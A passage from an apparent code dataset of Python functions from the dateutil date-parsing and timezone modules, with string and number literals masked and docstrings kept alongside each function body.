tzinfos=tzinfos)\n            datetime.datetime(2012, 1, 19, 17, 21, tzinfo=tzoffset(u'BRST', -10800))\n            >>> parse(\"2012-01-19 17:21:00 CST\", tzinfos=tzinfos)\n            datetime.datetime(2012, 1, 19, 17, 21,\n                              tzinfo=tzfile('/usr/share/zoneinfo/America/Chicago'))\n\n        This parameter is ignored if ``ignoretz`` is set.\n\n:param dayfirst:\n    Whether to interpret the first value in an ambiguous 3-integer date\n    (e.g. 01/05/09) as the day (``True``) or month (``False``). If\n    ``yearfirst`` is set to ``True``, this distinguishes between YDM and\n    YMD. If set to ``None``, this value is retrieved from the current\n    :class:`parserinfo` object (which itself defaults to ``False``).\n\n:param yearfirst:\n    Whether to interpret the first value in an ambiguous 3-integer date\n    (e.g. 01/05/09) as the year. If ``True``, the first number is taken to\n    be the year, otherwise the last number is taken to be the year. If\n    this is set to ``None``, the value is retrieved from the current\n    :class:`parserinfo` object (which itself defaults to ``False``).\n\n:param fuzzy:\n    Whether to allow fuzzy parsing, allowing for string like \"Today is\n    January 1, 2047 at 8:21:00AM\".\n\n:param fuzzy_with_tokens:\n    If ``True``, ``fuzzy`` is automatically set to True, and the parser\n    will return a tuple where the first element is the parsed\n    :class:`datetime.datetime` datetimestamp and the second element is\n    a tuple containing the portions of the string which were ignored:\n\n    .. doctest::\n\n        >>> from dateutil.parser import parse\n        >>> parse(\"Today is January 1, 2047 at 8:21:00AM\", fuzzy_with_tokens=True)\n        (datetime.datetime(2047, 1, 1, 8, 21), (u'Today is ', u' ', u'at '))\n\n:return:\n    Returns a :class:`datetime.datetime` object or, if the\n    ``fuzzy_with_tokens`` option is ``True``, returns a tuple, the\n    first element being a :class:`datetime.datetime` object, the second\n    a tuple containing the fuzzy tokens.\n\n:raises ValueError:\n    Raised for invalid or unknown string format, if the provided\n    :class:`tzinfo` is not in a valid format, or if an invalid date\n    would be created.\n\n:raises OverflowError:\n    Raised if the parsed date exceeds the largest valid C integer on\n    your system.", "id": "f15158:m0"}
{"signature": "def _parsems(value):", "body": "if \"<STR_LIT:.>\" not in value:<EOL><INDENT>return int(value), <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>i, f = value.split(\"<STR_LIT:.>\")<EOL>return int(i), int(f.ljust(<NUM_LIT:6>, \"<STR_LIT:0>\")[:<NUM_LIT:6>])<EOL><DEDENT>", "docstring": "Parse a I[.F] seconds value into (seconds, microseconds).", "id": "f15158:m2"}
{"signature": "def get_token(self):", "body": "if self.tokenstack:<EOL><INDENT>return self.tokenstack.pop(<NUM_LIT:0>)<EOL><DEDENT>seenletters = False<EOL>token = None<EOL>state = None<EOL>while not self.eof:<EOL><INDENT>if self.charstack:<EOL><INDENT>nextchar = self.charstack.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>nextchar = self.instream.read(<NUM_LIT:1>)<EOL>while nextchar == '<STR_LIT:\\x00>':<EOL><INDENT>nextchar = self.instream.read(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if not nextchar:<EOL><INDENT>self.eof = True<EOL>break<EOL><DEDENT>elif not state:<EOL><INDENT>token = nextchar<EOL>if self.isword(nextchar):<EOL><INDENT>state = '<STR_LIT:a>'<EOL><DEDENT>elif self.isnum(nextchar):<EOL><INDENT>state = '<STR_LIT:0>'<EOL><DEDENT>elif self.isspace(nextchar):<EOL><INDENT>token = '<STR_LIT:U+0020>'<EOL>break  <EOL><DEDENT>else:<EOL><INDENT>break  <EOL><DEDENT><DEDENT>elif state == '<STR_LIT:a>':<EOL><INDENT>seenletters = True<EOL>if self.isword(nextchar):<EOL><INDENT>token += nextchar<EOL><DEDENT>elif nextchar == '<STR_LIT:.>':<EOL><INDENT>token += nextchar<EOL>state = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.charstack.append(nextchar)<EOL>break  <EOL><DEDENT><DEDENT>elif state == '<STR_LIT:0>':<EOL><INDENT>if self.isnum(nextchar):<EOL><INDENT>token += nextchar<EOL><DEDENT>elif nextchar == '<STR_LIT:.>' or (nextchar == '<STR_LIT:U+002C>' and len(token) >= <NUM_LIT:2>):<EOL><INDENT>token += nextchar<EOL>state = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.charstack.append(nextchar)<EOL>break  <EOL><DEDENT><DEDENT>elif state == '<STR_LIT>':<EOL><INDENT>seenletters = True<EOL>if nextchar == '<STR_LIT:.>' or self.isword(nextchar):<EOL><INDENT>token += nextchar<EOL><DEDENT>elif self.isnum(nextchar) and token[-<NUM_LIT:1>] == '<STR_LIT:.>':<EOL><INDENT>token += nextchar<EOL>state = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.charstack.append(nextchar)<EOL>break  <EOL><DEDENT><DEDENT>elif state == '<STR_LIT>':<EOL><INDENT>if nextchar == '<STR_LIT:.>' or self.isnum(nextchar):<EOL><INDENT>token += nextchar<EOL><DEDENT>elif self.isword(nextchar) and token[-<NUM_LIT:1>] == '<STR_LIT:.>':<EOL><INDENT>token += nextchar<EOL>state = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.charstack.append(nextchar)<EOL>break  <EOL><DEDENT><DEDENT><DEDENT>if (state in ('<STR_LIT>', '<STR_LIT>') and (seenletters or token.count('<STR_LIT:.>') > <NUM_LIT:1> or<EOL>token[-<NUM_LIT:1>] in '<STR_LIT>')):<EOL><INDENT>l = self._split_decimal.split(token)<EOL>token = l[<NUM_LIT:0>]<EOL>for tok in l[<NUM_LIT:1>:]:<EOL><INDENT>if tok:<EOL><INDENT>self.tokenstack.append(tok)<EOL><DEDENT><DEDENT><DEDENT>if state == '<STR_LIT>' and token.count('<STR_LIT:.>') == <NUM_LIT:0>:<EOL><INDENT>token = token.replace('<STR_LIT:U+002C>', '<STR_LIT:.>')<EOL><DEDENT>return token<EOL>", "docstring": "This function breaks the time string into lexical units (tokens), which\ncan be parsed by the parser. Lexical units are demarcated by changes in\nthe character set, so any continuous string of letters is considered\none unit, any continuous string of numbers is considered one unit.\n\nThe main complication arises from the fact that dots ('.') can be used\nboth as separators (e.g. \"Sep.20.2009\") or decimal points (e.g.\n\"4:30:21.447\"). As such, it is necessary to read the full context of\nany dot-separated strings before breaking it into tokens; as such, this\nfunction maintains a \"token stack\", for when the ambiguous context\ndemands that multiple tokens be parsed at once.", "id": "f15158:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def isword(cls, nextchar):<DEDENT>", "body": "return nextchar.isalpha()<EOL>", "docstring": "Whether or not the next character is part of a word", "id": "f15158:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def isnum(cls, nextchar):<DEDENT>", "body": "return nextchar.isdigit()<EOL>", "docstring": "Whether the next character is part of a number", "id": "f15158:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def isspace(cls, nextchar):<DEDENT>", "body": "return nextchar.isspace()<EOL>", "docstring": "Whether the next character is whitespace", "id": "f15158:c0:m8"}
{"signature": "def find_probable_year_index(self, tokens):", "body": "for index, token in enumerate(self):<EOL><INDENT>potential_year_tokens = _ymd.find_potential_year_tokens(<EOL>token, tokens)<EOL>if len(potential_year_tokens) == <NUM_LIT:1> and len(potential_year_tokens[<NUM_LIT:0>]) > <NUM_LIT:2>:<EOL><INDENT>return index<EOL><DEDENT><DEDENT>", "docstring": "attempt to deduce if a pre 100 year was lost\n due to padded zeros being taken off", "id": "f15158:c3:m3"}
{"signature": "def parse(self, timestr, default=None, ignoretz=False, tzinfos=None, **kwargs):", "body": "if default is None:<EOL><INDENT>default = datetime.datetime.now().replace(hour=<NUM_LIT:0>, minute=<NUM_LIT:0>,<EOL>second=<NUM_LIT:0>, microsecond=<NUM_LIT:0>)<EOL><DEDENT>res, skipped_tokens = self._parse(timestr, **kwargs)<EOL>if res is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(res) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>repl = {}<EOL>for attr in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>value = getattr(res, attr)<EOL>if value is not None:<EOL><INDENT>repl[attr] = value<EOL><DEDENT><DEDENT>if '<STR_LIT>' not in repl:<EOL><INDENT>cyear = default.year if res.year is None else res.year<EOL>cmonth = default.month if res.month is None else res.month<EOL>cday = default.day if res.day is None else res.day<EOL>if cday > monthrange(cyear, cmonth)[<NUM_LIT:1>]:<EOL><INDENT>repl['<STR_LIT>'] = monthrange(cyear, cmonth)[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>ret = default.replace(**repl)<EOL>if res.weekday is not None and not res.day:<EOL><INDENT>ret = ret + relativedelta.relativedelta(weekday=res.weekday)<EOL><DEDENT>if not ignoretz:<EOL><INDENT>if (isinstance(tzinfos, collections.Callable) or<EOL>tzinfos and res.tzname in tzinfos):<EOL><INDENT>if isinstance(tzinfos, collections.Callable):<EOL><INDENT>tzdata = tzinfos(res.tzname, res.tzoffset)<EOL><DEDENT>else:<EOL><INDENT>tzdata = tzinfos.get(res.tzname)<EOL><DEDENT>if isinstance(tzdata, datetime.tzinfo):<EOL><INDENT>tzinfo = tzdata<EOL><DEDENT>elif isinstance(tzdata, text_type):<EOL><INDENT>tzinfo = tz.tzstr(tzdata)<EOL><DEDENT>elif isinstance(tzdata, integer_types):<EOL><INDENT>tzinfo = tz.tzoffset(res.tzname, tzdata)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>ret = ret.replace(tzinfo=tzinfo)<EOL><DEDENT>elif res.tzname and res.tzname in time.tzname:<EOL><INDENT>ret = ret.replace(tzinfo=tz.tzlocal())<EOL><DEDENT>elif res.tzoffset == <NUM_LIT:0>:<EOL><INDENT>ret = ret.replace(tzinfo=tz.tzutc())<EOL><DEDENT>elif res.tzoffset:<EOL><INDENT>ret = ret.replace(tzinfo=tz.tzoffset(res.tzname, res.tzoffset))<EOL><DEDENT><DEDENT>if kwargs.get('<STR_LIT>', False):<EOL><INDENT>return ret, skipped_tokens<EOL><DEDENT>else:<EOL><INDENT>return ret<EOL><DEDENT>", "docstring": "Parse the date/time string into a :class:`datetime.datetime` object.\n\n:param timestr:\n    Any date/time string using the supported formats.\n\n:param default:\n    The default datetime object, if this is a datetime object and not\n    ``None``, elements specified in ``timestr`` replace elements in the\n    default object.\n\n:param ignoretz:\n    If set ``True``, time zones in parsed strings are ignored and a\n    naive :class:`datetime.datetime` object is returned.\n\n:param tzinfos:\n    Additional time zone names / aliases which may be present in the\n    string. This argument maps time zone names (and optionally offsets\n    from those time zones) to time zones. This parameter can be a\n    dictionary with timezone aliases mapping time zone names to time\n    zones or a function taking two parameters (``tzname`` and\n    ``tzoffset``) and returning a time zone.\n\n    The timezones to which the names are mapped can be an integer\n    offset from UTC in minutes or a :class:`tzinfo` object.\n\n    .. doctest::\n       :options: +NORMALIZE_WHITESPACE\n\n        >>> from dateutil.parser import parse\n        >>> from dateutil.tz import gettz\n        >>> tzinfos = {\"BRST\": -10800, \"CST\": gettz(\"America/Chicago\")}\n        >>> parse(\"2012-01-19 17:21:00 BRST\", tzinfos=tzinfos)\n        datetime.datetime(2012, 1, 19, 17, 21, tzinfo=tzoffset(u'BRST', -10800))\n        >>> parse(\"2012-01-19 17:21:00 CST\", tzinfos=tzinfos)\n        datetime.datetime(2012, 1, 19, 17, 21,\n                          tzinfo=tzfile('/usr/share/zoneinfo/America/Chicago'))\n\n    This parameter is ignored if ``ignoretz`` is set.\n\n:param **kwargs:\n    Keyword arguments as passed to ``_parse()``.\n\n:return:\n    Returns a :class:`datetime.datetime` object or, if the\n    ``fuzzy_with_tokens`` option is ``True``, returns a tuple, the\n    first element being a :class:`datetime.datetime` object, the second\n    a tuple containing the fuzzy tokens.\n\n:raises ValueError:\n    Raised for invalid or unknown string format, if the provided\n    :class:`tzinfo` is not in a valid format, or if an invalid date\n    would be created.\n\n:raises TypeError:\n    Raised for non-string or character stream input.\n\n:raises OverflowError:\n    Raised if the parsed date exceeds the largest valid C integer on\n    your system.", "id": "f15158:c4:m1"}
{"signature": "def _parse(self, timestr, dayfirst=None, yearfirst=None, fuzzy=False,<EOL>fuzzy_with_tokens=False):", "body": "if fuzzy_with_tokens:<EOL><INDENT>fuzzy = True<EOL><DEDENT>info = self.info<EOL>if dayfirst is None:<EOL><INDENT>dayfirst = info.dayfirst<EOL><DEDENT>if yearfirst is None:<EOL><INDENT>yearfirst = info.yearfirst<EOL><DEDENT>res = self._result()<EOL>l = _timelex.split(timestr)         <EOL>last_skipped_token_i = -<NUM_LIT:2><EOL>skipped_tokens = list()<EOL>try:<EOL><INDENT>ymd = _ymd(timestr)<EOL>mstridx = -<NUM_LIT:1><EOL>len_l = len(l)<EOL>i = <NUM_LIT:0><EOL>while i < len_l:<EOL><INDENT>try:<EOL><INDENT>value_repr = l[i]<EOL>value = float(value_repr)<EOL><DEDENT>except ValueError:<EOL><INDENT>value = None<EOL><DEDENT>if value is not None:<EOL><INDENT>len_li = len(l[i])<EOL>i += <NUM_LIT:1><EOL>if (len(ymd) == <NUM_LIT:3> and len_li in (<NUM_LIT:2>, <NUM_LIT:4>)<EOL>and res.hour is None and (i >= len_l or (l[i] != '<STR_LIT::>' and<EOL>info.hms(l[i]) is None))):<EOL><INDENT>s = l[i - <NUM_LIT:1>]<EOL>res.hour = int(s[:<NUM_LIT:2>])<EOL>if len_li == <NUM_LIT:4>:<EOL><INDENT>res.minute = int(s[<NUM_LIT:2>:])<EOL><DEDENT><DEDENT>elif len_li == <NUM_LIT:6> or (len_li > <NUM_LIT:6> and l[i - <NUM_LIT:1>].find('<STR_LIT:.>') == <NUM_LIT:6>):<EOL><INDENT>s = l[i - <NUM_LIT:1>]<EOL>if not ymd and l[i - <NUM_LIT:1>].find('<STR_LIT:.>') == -<NUM_LIT:1>:<EOL><INDENT>ymd.append(s[:<NUM_LIT:2>])<EOL>ymd.append(s[<NUM_LIT:2>:<NUM_LIT:4>])<EOL>ymd.append(s[<NUM_LIT:4>:])<EOL><DEDENT>else:<EOL><INDENT>res.hour = int(s[:<NUM_LIT:2>])<EOL>res.minute = int(s[<NUM_LIT:2>:<NUM_LIT:4>])<EOL>res.second, res.microsecond = _parsems(s[<NUM_LIT:4>:])<EOL><DEDENT><DEDENT>elif len_li in (<NUM_LIT:8>, <NUM_LIT:12>, <NUM_LIT>):<EOL><INDENT>s = l[i - <NUM_LIT:1>]<EOL>ymd.append(s[:<NUM_LIT:4>])<EOL>ymd.append(s[<NUM_LIT:4>:<NUM_LIT:6>])<EOL>ymd.append(s[<NUM_LIT:6>:<NUM_LIT:8>])<EOL>if len_li > <NUM_LIT:8>:<EOL><INDENT>res.hour = int(s[<NUM_LIT:8>:<NUM_LIT:10>])<EOL>res.minute = int(s[<NUM_LIT:10>:<NUM_LIT:12>])<EOL>if len_li > <NUM_LIT:12>:<EOL><INDENT>res.second = int(s[<NUM_LIT:12>:])<EOL><DEDENT><DEDENT><DEDENT>elif ((i < len_l and info.hms(l[i]) is not None) or<EOL>(i + <NUM_LIT:1> < len_l and l[i] == '<STR_LIT:U+0020>' and<EOL>info.hms(l[i + <NUM_LIT:1>]) is not None)):<EOL><INDENT>if l[i] == '<STR_LIT:U+0020>':<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT>idx = info.hms(l[i])<EOL>while True:<EOL><INDENT>if idx == <NUM_LIT:0>:<EOL><INDENT>res.hour = int(value)<EOL>if value % <NUM_LIT:1>:<EOL><INDENT>res.minute = int(<NUM_LIT> * (value % <NUM_LIT:1>))<EOL><DEDENT><DEDENT>elif idx == <NUM_LIT:1>:<EOL><INDENT>res.minute = int(value)<EOL>if value % <NUM_LIT:1>:<EOL><INDENT>res.second = int(<NUM_LIT> * (value % <NUM_LIT:1>))<EOL><DEDENT><DEDENT>elif idx == <NUM_LIT:2>:<EOL><INDENT>res.second, res.microsecond =_parsems(value_repr)<EOL><DEDENT>i += <NUM_LIT:1><EOL>if i >= len_l or idx == <NUM_LIT:2>:<EOL><INDENT>break<EOL><DEDENT>try:<EOL><INDENT>value_repr = l[i]<EOL>value = float(value_repr)<EOL><DEDENT>except ValueError:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL>idx += <NUM_LIT:1><EOL>if i < len_l:<EOL><INDENT>newidx = info.hms(l[i])<EOL>if newidx is not None:<EOL><INDENT>idx = newidx<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>elif (i == len_l and l[i - <NUM_LIT:2>] == '<STR_LIT:U+0020>' and<EOL>info.hms(l[i - <NUM_LIT:3>]) is not None):<EOL><INDENT>idx = info.hms(l[i - <NUM_LIT:3>])<EOL>if idx == <NUM_LIT:0>:               <EOL><INDENT>res.minute = int(value)<EOL>sec_remainder = value % <NUM_LIT:1><EOL>if sec_remainder:<EOL><INDENT>res.second = int(<NUM_LIT> * sec_remainder)<EOL><DEDENT><DEDENT>elif idx == <NUM_LIT:1>:             <EOL><INDENT>res.second, res.microsecond =_parsems(value_repr)<EOL><DEDENT><DEDENT>elif i + <NUM_LIT:1> < len_l and l[i] == '<STR_LIT::>':<EOL><INDENT>res.hour = int(value)<EOL>i += <NUM_LIT:1><EOL>value = float(l[i])<EOL>res.minute = int(value)<EOL>if value % <NUM_LIT:1>:<EOL><INDENT>res.second = int(<NUM_LIT> * (value % <NUM_LIT:1>))<EOL><DEDENT>i += <NUM_LIT:1><EOL>if i < len_l and l[i] == '<STR_LIT::>':<EOL><INDENT>res.second, res.microsecond = _parsems(l[i + <NUM_LIT:1>])<EOL>i += <NUM_LIT:2><EOL><DEDENT><DEDENT>elif i < len_l and l[i] in ('<STR_LIT:->', '<STR_LIT:/>', '<STR_LIT:.>'):<EOL><INDENT>sep = l[i]<EOL>ymd.append(value_repr)<EOL>i += <NUM_LIT:1><EOL>if i < len_l and not info.jump(l[i]):<EOL><INDENT>try:<EOL><INDENT>ymd.append(l[i])<EOL><DEDENT>except ValueError:<EOL><INDENT>value = info.month(l[i])<EOL>if value is not None:<EOL><INDENT>ymd.append(value)<EOL>assert mstridx == -<NUM_LIT:1><EOL>mstridx = len(ymd) - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return None, None<EOL><DEDENT><DEDENT>i += <NUM_LIT:1><EOL>if i < len_l and l[i] == sep:<EOL><INDENT>i += <NUM_LIT:1><EOL>value = info.month(l[i])<EOL>if value is not None:<EOL><INDENT>ymd.append(value)<EOL>mstridx = len(ymd) - <NUM_LIT:1><EOL>assert mstridx == -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ymd.append(l[i])<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>elif i >= len_l or info.jump(l[i]):<EOL><INDENT>if i + <NUM_LIT:1> < len_l and info.ampm(l[i + <NUM_LIT:1>]) is not None:<EOL><INDENT>res.hour = int(value)<EOL>if res.hour < <NUM_LIT:12> and info.ampm(l[i + <NUM_LIT:1>]) == <NUM_LIT:1>:<EOL><INDENT>res.hour += <NUM_LIT:12><EOL><DEDENT>elif res.hour == <NUM_LIT:12> and info.ampm(l[i + <NUM_LIT:1>]) == <NUM_LIT:0>:<EOL><INDENT>res.hour = <NUM_LIT:0><EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ymd.append(value)<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>elif info.ampm(l[i]) is not None:<EOL><INDENT>res.hour = int(value)<EOL>if res.hour < <NUM_LIT:12> and info.ampm(l[i]) == <NUM_LIT:1>:<EOL><INDENT>res.hour += <NUM_LIT:12><EOL><DEDENT>elif res.hour == <NUM_LIT:12> and info.ampm(l[i]) == <NUM_LIT:0>:<EOL><INDENT>res.hour = <NUM_LIT:0><EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>elif not fuzzy:<EOL><INDENT>return None, None<EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>value = info.weekday(l[i])<EOL>if value is not None:<EOL><INDENT>res.weekday = value<EOL>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>value = info.month(l[i])<EOL>if value is not None:<EOL><INDENT>ymd.append(value)<EOL>assert mstridx == -<NUM_LIT:1><EOL>mstridx = len(ymd) - <NUM_LIT:1><EOL>i += <NUM_LIT:1><EOL>if i < len_l:<EOL><INDENT>if l[i] in ('<STR_LIT:->', '<STR_LIT:/>'):<EOL><INDENT>sep = l[i]<EOL>i += <NUM_LIT:1><EOL>ymd.append(l[i])<EOL>i += <NUM_LIT:1><EOL>if i < len_l and l[i] == sep:<EOL><INDENT>i += <NUM_LIT:1><EOL>ymd.append(l[i])<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>elif (i + <NUM_LIT:3> < len_l and l[i] == l[i + <NUM_LIT:2>] == '<STR_LIT:U+0020>'<EOL>and info.pertain(l[i + <NUM_LIT:1>])):<EOL><INDENT>try:<EOL><INDENT>value = int(l[i + <NUM_LIT:3>])<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ymd.append(str(info.convertyear(value)))<EOL><DEDENT>i += <NUM_LIT:4><EOL><DEDENT><DEDENT>continue<EOL><DEDENT>value = info.ampm(l[i])<EOL>if value is not None:<EOL><INDENT>val_is_ampm = True<EOL>if fuzzy and res.ampm is not None:<EOL><INDENT>val_is_ampm = False<EOL><DEDENT>if res.hour is None:<EOL><INDENT>if fuzzy:<EOL><INDENT>val_is_ampm = False<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>elif not <NUM_LIT:0> <= res.hour <= <NUM_LIT:12>:<EOL><INDENT>if fuzzy:<EOL><INDENT>val_is_ampm = False<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if val_is_ampm:<EOL><INDENT>if value == <NUM_LIT:1> and res.hour < <NUM_LIT:12>:<EOL><INDENT>res.hour += <NUM_LIT:12><EOL><DEDENT>elif value == <NUM_LIT:0> and res.hour == <NUM_LIT:12>:<EOL><INDENT>res.hour = <NUM_LIT:0><EOL><DEDENT>res.ampm = value<EOL><DEDENT>elif fuzzy:<EOL><INDENT>last_skipped_token_i = self._skip_token(skipped_tokens,<EOL>last_skipped_token_i, i, l)<EOL><DEDENT>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>if (res.hour is not None and len(l[i]) <= <NUM_LIT:5> and<EOL>res.tzname is None and res.tzoffset is None and<EOL>not [x for x in l[i] if x not in<EOL>string.ascii_uppercase]):<EOL><INDENT>res.tzname = l[i]<EOL>res.tzoffset = info.tzoffset(res.tzname)<EOL>i += <NUM_LIT:1><EOL>if i < len_l and l[i] in ('<STR_LIT:+>', '<STR_LIT:->'):<EOL><INDENT>l[i] = ('<STR_LIT:+>', '<STR_LIT:->')[l[i] == '<STR_LIT:+>']<EOL>res.tzoffset = None<EOL>if info.utczone(res.tzname):<EOL><INDENT>res.tzname = None<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>if res.hour is not None and l[i] in ('<STR_LIT:+>', '<STR_LIT:->'):<EOL><INDENT>signal = (-<NUM_LIT:1>, <NUM_LIT:1>)[l[i] == '<STR_LIT:+>']<EOL>i += <NUM_LIT:1><EOL>len_li = len(l[i])<EOL>if len_li == <NUM_LIT:4>:<EOL><INDENT>res.tzoffset = int(l[i][:<NUM_LIT:2>]) *<NUM_LIT> + int(l[i][<NUM_LIT:2>:]) * <NUM_LIT><EOL><DEDENT>elif i + <NUM_LIT:1> < len_l and l[i + <NUM_LIT:1>] == '<STR_LIT::>':<EOL><INDENT>res.tzoffset = int(l[i]) * <NUM_LIT> + int(l[i + <NUM_LIT:2>]) * <NUM_LIT><EOL>i += <NUM_LIT:2><EOL><DEDENT>elif len_li <= <NUM_LIT:2>:<EOL><INDENT>res.tzoffset = int(l[i][:<NUM_LIT:2>]) * <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>return None, None<EOL><DEDENT>i += <NUM_LIT:1><EOL>res.tzoffset *= signal<EOL>if (i + <NUM_LIT:3> < len_l and<EOL>info.jump(l[i]) and l[i + <NUM_LIT:1>] == '<STR_LIT:(>' and l[i + <NUM_LIT:3>] == '<STR_LIT:)>' and<EOL><NUM_LIT:3> <= len(l[i + <NUM_LIT:2>]) <= <NUM_LIT:5> and<EOL>not [x for x in l[i + <NUM_LIT:2>]<EOL>if x not in string.ascii_uppercase]):<EOL><INDENT>res.tzname = l[i + <NUM_LIT:2>]<EOL>i += <NUM_LIT:4><EOL><DEDENT>continue<EOL><DEDENT>if not (info.jump(l[i]) or fuzzy):<EOL><INDENT>return None, None<EOL><DEDENT>last_skipped_token_i = self._skip_token(skipped_tokens,<EOL>last_skipped_token_i, i, l)<EOL>i += <NUM_LIT:1><EOL><DEDENT>year, month, day = ymd.resolve_ymd(mstridx, yearfirst, dayfirst)<EOL>if year is not None:<EOL><INDENT>res.year = year<EOL>res.century_specified = ymd.century_specified<EOL><DEDENT>if month is not None:<EOL><INDENT>res.month = month<EOL><DEDENT>if day is not None:<EOL><INDENT>res.day = day<EOL><DEDENT><DEDENT>except (IndexError, ValueError, AssertionError):<EOL><INDENT>return None, None<EOL><DEDENT>if not info.validate(res):<EOL><INDENT>return None, None<EOL><DEDENT>if fuzzy_with_tokens:<EOL><INDENT>return res, tuple(skipped_tokens)<EOL><DEDENT>else:<EOL><INDENT>return res, None<EOL><DEDENT>", "docstring": "Private method which performs the heavy lifting of parsing, called from\n``parse()``, which passes on its ``kwargs`` to this function.\n\n:param timestr:\n    The string to parse.\n\n:param dayfirst:\n    Whether to interpret the first value in an ambiguous 3-integer date\n    (e.g. 01/05/09) as the day (``True``) or month (``False``). If\n    ``yearfirst`` is set to ``True``, this distinguishes between YDM\n    and YMD. If set to ``None``, this value is retrieved from the\n    current :class:`parserinfo` object (which itself defaults to\n    ``False``).\n\n:param yearfirst:\n    Whether to interpret the first value in an ambiguous 3-integer date\n    (e.g. 01/05/09) as the year. If ``True``, the first number is taken\n    to be the year, otherwise the last number is taken to be the year.\n    If this is set to ``None``, the value is retrieved from the current\n    :class:`parserinfo` object (which itself defaults to ``False``).\n\n:param fuzzy:\n    Whether to allow fuzzy parsing, allowing for string like \"Today is\n    January 1, 2047 at 8:21:00AM\".\n\n:param fuzzy_with_tokens:\n    If ``True``, ``fuzzy`` is automatically set to True, and the parser\n    will return a tuple where the first element is the parsed\n    :class:`datetime.datetime` datetimestamp and the second element is\n    a tuple containing the portions of the string which were ignored:\n\n    .. doctest::\n\n        >>> from dateutil.parser import parse\n        >>> parse(\"Today is January 1, 2047 at 8:21:00AM\", fuzzy_with_tokens=True)\n        (datetime.datetime(2047, 1, 1, 8, 21), (u'Today is ', u' ', u'at '))", "id": "f15158:c4:m2"}
{"signature": "def tzname_in_python2(namefunc):", "body": "def adjust_encoding(*args, **kwargs):<EOL><INDENT>name = namefunc(*args, **kwargs)<EOL>if name is not None and not PY3:<EOL><INDENT>name = name.encode()<EOL><DEDENT>return name<EOL><DEDENT>return adjust_encoding<EOL>", "docstring": "Change unicode output into bytestrings in Python 2\n\n    tzname() API changed in Python 3. It used to return bytes, but was changed\n    to unicode strings", "id": "f15161:m0"}
{"signature": "def _validate_fromutc_inputs(f):", "body": "@wraps(f)<EOL>def fromutc(self, dt):<EOL><INDENT>if not isinstance(dt, datetime):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if dt.tzinfo is not self:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return f(self, dt)<EOL><DEDENT>return fromutc<EOL>", "docstring": "The CPython version of ``fromutc`` checks that the input is a ``datetime``\nobject and that ``self`` is attached as its ``tzinfo``.", "id": "f15161:m1"}
{"signature": "def is_ambiguous(self, dt):", "body": "dt = dt.replace(tzinfo=self)<EOL>wall_0 = enfold(dt, fold=<NUM_LIT:0>)<EOL>wall_1 = enfold(dt, fold=<NUM_LIT:1>)<EOL>same_offset = wall_0.utcoffset() == wall_1.utcoffset()<EOL>same_dt = wall_0.replace(tzinfo=None) == wall_1.replace(tzinfo=None)<EOL>return same_dt and not same_offset<EOL>", "docstring": "Whether or not the \"wall time\" of a given datetime is ambiguous in this\nzone.\n\n:param dt:\n    A :py:class:`datetime.datetime`, naive or time zone aware.\n\n\n:return:\n    Returns ``True`` if ambiguous, ``False`` otherwise.\n\n.. versionadded:: 2.6.0", "id": "f15161:c0:m0"}
{"signature": "def _fold_status(self, dt_utc, dt_wall):", "body": "if self.is_ambiguous(dt_wall):<EOL><INDENT>delta_wall = dt_wall - dt_utc<EOL>_fold = int(delta_wall == (dt_utc.utcoffset() - dt_utc.dst()))<EOL><DEDENT>else:<EOL><INDENT>_fold = <NUM_LIT:0><EOL><DEDENT>return _fold<EOL>", "docstring": "Determine the fold status of a \"wall\" datetime, given a representation\nof the same datetime as a (naive) UTC datetime. This is calculated based\non the assumption that ``dt.utcoffset() - dt.dst()`` is constant for all\ndatetimes, and that this offset is the actual number of hours separating\n``dt_utc`` and ``dt_wall``.\n\n:param dt_utc:\n    Representation of the datetime as UTC\n\n:param dt_wall:\n    Representation of the datetime as \"wall time\". This parameter must\n    either have a `fold` attribute or have a fold-naive\n    :class:`datetime.tzinfo` attached, otherwise the calculation may\n    fail.", "id": "f15161:c0:m1"}
